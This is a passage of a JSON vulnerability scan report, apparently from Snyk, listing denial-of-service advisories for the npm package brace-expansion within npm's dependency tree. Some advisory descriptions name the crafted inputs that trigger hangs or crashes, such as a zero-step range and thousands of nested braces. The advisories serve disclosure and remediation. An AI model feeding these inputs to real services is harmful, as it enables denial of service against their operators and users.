"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
